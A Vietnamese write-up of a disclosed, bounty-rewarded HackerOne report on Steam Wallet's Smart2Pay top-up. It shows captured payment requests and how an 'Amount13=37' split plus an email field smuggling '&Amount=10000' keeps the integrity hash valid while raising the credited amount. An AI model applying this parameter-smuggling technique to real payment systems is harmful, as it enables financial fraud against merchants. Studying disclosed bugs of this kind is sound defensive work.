# Nạp Steam Wallet 1$ được 1M$ ###### tags: Case study ## Giới thiệu Steam là một nền tảng phân phối và cung cấp thư viện game khổng lồ. Để có thể mua game trên Steam ngoài phương thức thanh toán thông thường như tài khoản ngân hàng hoặc thẻ tín dụng, chúng ta có thể sử dụng Steam Wallet, giống như ví Momo bạn có thể nạp tiền vào và mua game hoặc các sản phẩm liên quan đến game. ## Details Lỗ hổng xuất hiện tại đường dẫn https://store.steampowered.com/steamaccount/addfunds Khi ta nhấn `add funds` để nạp vip và sử dụng phương thức thanh toán Smart2Pay Khi ta bắt lại cú request nó sẽ có dạng như sau: ``` POST / HTTP/1.1 Host: globalapi.smart2pay.com Content-Length: 388 ….. Connection: close MerchantID=1102&MerchantTransactionID=███&Amount=1337&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KSCS@cbjs.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ ``` Param `CustomerEmail` chính là email của người dùng. Ta không thể nào thay đổi được bất kỳ param nào của request vì request có trường `Hash` ở cuối được dùng để validate gói tin có bị thay đổi hay không Khi điều tra thuật toán mã hóa phát hiện trường Hash được gen từ plaintext là các paramerter xuất hiện trong request nhưng bỏ đi dấu ``“=”`` và dấu ``“&”`` Ví dụ: có các parameter như `MerchantID=1102&MerchantTransactionID=1234&Amount=2000…` Thì trường `Hash` sẽ có giá trị là kết quả của hàm `hash(MerchantID1102&MerchantTransactionID1234&Amount2000…)` Vậy thì liệu có cách nào thay đổi giá trị của các param nhưng giá trị `Hash` được tạo vẫn hợp lệ hay không ? Để làm được điều đó ta lợi dụng cơ chế gen hash của ứng dụng, khi nó tự loại bỏ đi dấu “=” của các param. Nếu ta thay đổi param `Amount=1337` thành `Amount13=37` thì khi param này được xử lý để gen hash đều sẽ cho ra `Amount1337`. Ta đã có thể vô hiệu quá trường amount ban đầu của request, vậy thì bây giờ làm cách nào để ta thêm param amount khác mà ta có thể kiểm soát giá trị vào cú request ? Vẫn tiếp tục lợi dụng hành vi của ứng dụng cụ thể hành vi loại bỏ ký tự “&” khi gen hash. Ta tạo thêm một user khác có gmail nhưng phải tuân thủ theo cú pháp `<gmail_cũ>Amout10000endy@kcsc.com` Khi ấy request của ta sẽ có dạng: ``` POST / HTTP/1.1 Host: globalapi.smart2pay.com Content-Length: 388 ….. Connection: close MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSCAmount10000endy@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ ``` Khi này ta thêm ``&`` để ngăn cách gmail cũ, Amount1000 và phần endy@cbjs.com. Lúc này request sẽ có dạng: ``` POST / HTTP/1.1 Host: globalapi.smart2pay.com Content-Length: 388 ….. Connection: close MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSC&Amount=10000&endy=@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ ``` Ta thấy `CustomerEmail=KCSC&Amount=10000&endy=@kcsc.com` và `CustomerEmail=KCSCAmount10000endy@kcsc.com` khi được xử lý để gen hash đều có cùng một output đó là `CustomerEmailKCSCAmount10000endy@kcsc.com` Kết hợp 2 kỹ thuật trên, ta vừa vô hiệu hóa đi param Amount mặc định của request, ta vừa thêm vào request một param Amount do ta kiểm soát nhưng không làm thay đổi giá trị của trường Hash. Hậu quả ta có thể nạp vào Steam Wallet số tiền tùy ý chỉ cần 1$ duy nhất ## Bounty Bug hunter report lỗ hổng đã được 7500$ tiền thưởng cho công sức của mình ## Refer https://hackerone.com/reports/1295844